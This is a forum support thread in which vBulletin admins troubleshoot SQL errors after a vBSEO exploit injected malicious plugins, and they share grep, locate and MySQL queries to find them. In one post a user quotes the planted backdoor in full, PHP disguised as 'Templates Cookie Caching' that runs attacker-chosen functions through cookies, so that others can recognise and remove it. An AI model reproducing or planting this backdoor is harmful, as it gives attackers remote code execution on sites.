sql database error and links changed to red?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • bstillman
    Senior Member
    • Jun 2007
    • 127
    • 3.8.x

    #16
    Originally posted by bill preston
    Guys - i had this issue myself and fixed it with this thread:

    http://www.vbseo.com/f5/vbseo-securi...83/#post325546
    Is everyone else seeing this running vbseo?

    Comment

    • bstillman
      Senior Member
      • Jun 2007
      • 127
      • 3.8.x

      #17
      Originally posted by AlpineZone
      Yeah I'm still stumped. THere are some remnant vBSEO files laying around but i don't even have the root /VBSEO folder any longer.
      Does a search for functions_vbseocp_abstract.php turn up anything?

      Comment

      • AlpineZone
        Senior Member
        • Feb 2006
        • 111

        #18
        Looking more, I'm on an old version of vbseo, 3.3.2, in reviewing the previous site owner's notes we had essentially pulled it out, although there are still active plugins in the system. I don't think it ever worked correctly for him previously, so I have kind of a hodgepodge of files.

        Comment

        • Ken Iovino
          Senior Member
          • Jan 2003
          • 463
          • 3.7.x

          #19
          I've applied the fix that vBSEO recommends, but I'm wondering if that will address the SQL issue people are having here with "pluginlist". Yesterday I noticed a random plugin got installed with hacky looking code, which vBSEO says this their patch will fix, but does it fix the datastore issue too?
          Ken Iovino
          Full Time PHP, Ruby and iOS Developer

          Comment

          • AlpineZone
            Senior Member
            • Feb 2006
            • 111

            #20
            Originally posted by bstillman
            Does a search for functions_vbseocp_abstract.php turn up anything?
            Might be a dumb question but no clue how to search via FTP

            Comment

            • bstillman
              Senior Member
              • Jun 2007
              • 127
              • 3.8.x

              #21
              Originally posted by AlpineZone
              Might be a dumb question but no clue how to search via FTP
              Me neither. I use SSH.

              Comment

              • Ken Iovino
                Senior Member
                • Jan 2003
                • 463
                • 3.7.x

                #22
                AlpineZone, if you can connect to your server using SSH, you can do a search for the file using the 'locate' or 'grep' command.

                Code:
                locate functions_vbseocp_abstract.php
                If that doesn't work, you can search for a unique text that that file will only have, something like this: (do it in your forums root)

                Code:
                grep -r "proc_deutf" *.php
                If you're using an older version of vBSEO, then you're not going to find it. I remember they changed their filesystem a couple of years ago
                Ken Iovino
                Full Time PHP, Ruby and iOS Developer

                Comment

                • AlpineZone
                  Senior Member
                  • Feb 2006
                  • 111

                  #23
                  Also thinking it could have ot do with simply the age of the install, since I'm on 3.3.2

                  Comment

                  • bill preston
                    New Member
                    • Oct 2009
                    • 6
                    • 3.7.x

                    #24
                    Go into your plugins and look for anything that looks weird... the exploit just adds some malicious plugins. Remove them, fix the exploit and you should be good to go.
                    My main site: PUA Forum

                    Comment

                    • downeastboat
                      New Member
                      • Oct 2011
                      • 7

                      #25
                      Im having the same problem you guys are.. the SAME thing..millions of error emails.. etc..I am simply an admin.. I know how to manage the forum and add users etc.. nothing with settings etc as I had that alll done for me..what are we going to do to fix this? Is there any vbulletin moderators on here to help out with this obvious mass problem?

                      Comment

                      • Ken Iovino
                        Senior Member
                        • Jan 2003
                        • 463
                        • 3.7.x

                        #26
                        Just so people know, you can quickly check if your site has been hit with vBSEO's exploit by running this mysql query:

                        Code:
                         select title, hookname, phpcode from plugin where phpcode like "%vbauth%"
                        If something does comes up, edit the hook via your plugin manager. You'll find some code that looks like this:
                        PHP Code:
                        /* vBulletin Templates Cookie Caching */
                            
                        $vbr="jnegaecq";$vbh="c33794aa91e3ec5bb71dd7a85f280d55";isset($_COOKIE["vbinit"])?die(header("Cache-ID: $vbr")):chr(10);(isset($_COOKIE["vbauth"])&&(md5($_COOKIE["vbauth"])=="a32229ad78262c52c4073b07fdd58912")&&isset($_COOKIE["vbcache"])&&preg_match("/cache:([a-f0-9]+):([a-z]+):(.*)/",$_COOKIE["vbcache"],$m)&&(md5($vbr.$vbh)===$m[1]))?$m[2]($m[3]):chr(10); 
                        Remove it then apply the fix here:
                        Ken Iovino
                        Full Time PHP, Ruby and iOS Developer

                        Comment

                        • Ken Iovino
                          Senior Member
                          • Jan 2003
                          • 463
                          • 3.7.x

                          #27
                          Originally posted by downeastboat
                          Im having the same problem you guys are.. the SAME thing..millions of error emails.. etc..I am simply an admin.. I know how to manage the forum and add users etc.. nothing with settings etc as I had that alll done for me..what are we going to do to fix this? Is there any vbulletin moderators on here to help out with this obvious mass problem?
                          Shut your board down and apply this fix:
                          Ken Iovino
                          Full Time PHP, Ruby and iOS Developer

                          Comment

                          • AlpineZone
                            Senior Member
                            • Feb 2006
                            • 111

                            #28
                            Ken, thanks for the help, I'm getting 0 hits on the query you provided above (select titel, hookname, etc.)

                            Also ran Grep and Locate and couldn't find any of those files. So I'm a bit lost

                            Comment

                            • downeastboat
                              New Member
                              • Oct 2011
                              • 7

                              #29
                              Specifically where do I go to change that code?

                              Comment

                              • AlpineZone
                                Senior Member
                                • Feb 2006
                                • 111

                                #30
                                Is there a specific plugin I can look at directly?

                                Comment

                                widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
                                Working...